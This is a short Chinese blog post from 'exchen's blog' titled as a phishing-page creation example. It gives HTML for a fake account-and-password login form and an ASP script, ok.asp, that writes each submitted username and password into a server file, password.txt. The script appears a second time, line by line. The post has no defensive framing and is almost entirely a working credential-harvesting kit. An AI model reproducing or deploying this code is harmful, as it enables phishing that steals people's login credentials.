钓鱼页面制作实例 – exchen's blog

<html>  
<td height="103" valign="top"><form name="form1" method="post" action="ok.asp">  
<p align="center">帐 号:<input maxlength=10 size=16 name=u></span>   
</div>  
<p align="center">口 令:<input type=password maxlength=16 size=16 name=p>  
<p align="center">  
<input type="submit" name="Submit" value="提 交">   
<input type="reset" name="Submit2" value="重 写">  
</html>

<html>

</div>

</html>

ok.asp

<%  
Response.Buffer=True  
username=Request.Form("u")  
password=Request.Form("p")  
testfile=Server.MapPath("password.txt")  
set fs=server.CreateObject("scripting.filesystemobject")  
set thisfile=fs.OpenTextFile(testfile,8,True,0)  
thisfile.WriteLine(username)  
thisfile.WriteLine(password)  
thisfile.close  
set fs = nothing  
%>

Response.Buffer=True

username=Request.Form("u")

password=Request.Form("p")

testfile=Server.MapPath("password.txt")

set fs=server.CreateObject("scripting.filesystemobject")

set thisfile=fs.OpenTextFile(testfile,8,True,0)

thisfile.WriteLine(username)

thisfile.WriteLine(password)

thisfile.close

set fs = nothing

转载请注明：exchen's blog » 钓鱼页面制作实例

与本文相关的文章